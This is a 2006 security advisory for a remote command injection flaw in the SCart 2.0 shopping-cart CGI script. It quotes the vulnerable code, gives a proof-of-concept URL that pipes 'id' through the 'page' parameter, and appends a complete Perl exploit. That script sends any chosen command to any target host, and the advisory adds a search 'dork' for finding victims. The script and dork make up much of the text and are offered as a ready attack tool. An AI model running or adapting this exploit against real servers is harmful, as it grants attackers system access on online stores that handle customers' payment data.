[ECHO_ADV_32$2006] SCart 2.0 Remote Code Execution
____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/
.OR.ID
ECHO_ADV_32$2006
---------------------------------------------------------------------------
[ECHO_ADV_32$2006] SCart 2.0 Remote Code Execution
---------------------------------------------------------------------------
Author : M.Hasran Addahroni a.k.a K-159
Date : June, 3th 2006
Location : Indonesia, Bali
Web : http://advisories.echo.or.id/adv/adv32-K-159-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SCart
Application : SCart
version : 2.0
URL : http://www.scartserver.com
Description :
SCart is a free shopping cart online store service with e-commerce and
real-time credit card and check payment processing service.
---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~~~~
In scart.cgi we have source code like this
-----------------------scart.cgi-----------------------------
...
require 'scart.pl';
require '/home/scart/cgi-bin/2.0/scartserver.cgi';
...
--------------------------------------------------------------
then at scartserver.cgi in cgi-bin folder the code like this
---------------scartserver.cgi--------------------------------
...
$HTML{TAB2} =
"$baseurl$cgiurl/?action=show_page&base=base2.html&page=browse.txt";
$HTML{TAB3} =
"$baseurl$cgiurl/?action=show_page&base=base3.html&page=specials.txt";
$HTML{BUTTONBAR} = $buttonbar;
$HTML{VIEWCART} = "$baseurl$cgiurl?action=viewcart";
$HTML{CHECKOUT} = "$secureurl$cgiurl?action=checkout";
$HTML{TRACK} = "$baseurl$cgiurl?action=show_track";
$HTML{HELP} = "$baseurl$cgiurl/?action=show_page&base=base.html&page=help.txt";
...
------------------------------------------------------------------
Variables $baseurl and $cgiurl are not properly sanitized.This can be used to
execute arbitrary commands.
Proof Of Concept:
~~~~~~~~~~~~~~~~~
http://www.scartserver.com/2.0/[client_user_name]/scart.cgi/?action=show_page&base=base2.html&page=|id|
Solution:
~~~~~~~~~
no solution yet
Notification:
~~~~~~~~~~~~
vendor was contact but no response.
---------------------------------------------------------------------------
Shoutz:
~~~~~~~
~ ping - my dearest wife, for all the luv the tears n the breath
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit
~ newbie_hacker@xxxxxxxxxxxxxxx
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~~
K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/
-------------------------------- [ EOF ] ----------------------------------
Perl Exploit:
~~~~~~~~~~~~
#!/usr/bin/perl
##
# SCart 2.0 Remote Code Execution Exploit
# Bugs Found & code By K-159
#
## base on advisory at http://advisories.echo.or.id/adv/adv32-K-159-2006.txt
#
# echo.or.id (c) 2006
#
##
# usage:
# perl scart.pl <target> </path/> "cmd"
#
# Google Dork : site:scartserver.com
#
# Greetz: my soul mate,echo|staff,aikmel|crew,masterpop3,SinChan,rizal,etc
#
# Contact: eufrato[at]gmail.com www.echo.or.id #e-c-h-o @irc.dal.net
#
use IO::Socket;
use LWP::Simple;
sub Usage {
print STDERR "\n =========================================================
\r\n";
print STDERR " *SCart 2.0 Remote Code Execution Exploit* \r\n";
print STDERR " Bugs Found by K-159 \r\n";
print STDERR " www.echo.or.id #e-c-h-o irc.dal.net \r\n";
print STDERR " Usage: $0 <www.target.com> </path/> \"cmd\" \r\n";
print STDERR "=============================================================
\r\n";
exit;
}
if (@ARGV < 3)
{
Usage();
}
$host = @ARGV[0];
$path = @ARGV[1];
$command = @ARGV[2];
print "\n[+] Conecting to $host\n";
my $result =
get("http://$host$path/scart.cgi?action=show_page&base=base2.html&page=browse.txt|$command|");
if (defined $result) {
print $result;
}
else {
print "Exploit Failed.\n";
}